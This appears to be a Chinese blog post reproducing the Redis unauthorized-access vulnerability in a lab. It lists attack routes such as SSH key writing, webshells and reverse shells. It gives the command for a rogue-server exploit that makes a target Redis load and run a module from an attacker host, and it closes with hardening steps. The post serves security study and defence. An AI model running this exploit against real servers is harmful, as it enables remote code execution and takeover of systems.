- A+
所属分类:漏洞复现
0x01Redis是什么?
Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。
0x02Redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
0x03影响版本
影响版本Redis未授权访问在4.x/5.0.5版本以下
0x04攻击手段
- 直接未授权访问,对redis数据库的操作
- ssh免密钥登录(有思维导图)
- 对redis数据库写马子拿shell,与第二点条件和思路差不多
- 写进反弹shell,设置反弹时间反弹。
- 利用现有exp
0x05漏洞复现(利用现有exp)
poc地址:
1 |
https://github.com/vulhub/redis-rogue-getshell |
编译
攻击
1 |
python3 redis-master.py -h |
1 |
python3 redis-master.py -r 192.168.227.128 -p 6379 -L 192.168.227.129 -P 8989 -f RedisModulesSDK/exp.so -c "id" |
修复方案
- 禁止一些高危命令(重启redis才能生效)
- 以低权限运行 Redis 服务(重启redis才能生效)切身体会
- 为 Redis 添加密码验证(重启redis才能生效)
- 禁止外网访问 Redis(重启redis才能生效)
- 修改默认端口
- 保证 authorized_keys 文件的安全
- 设置防火墙策略
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫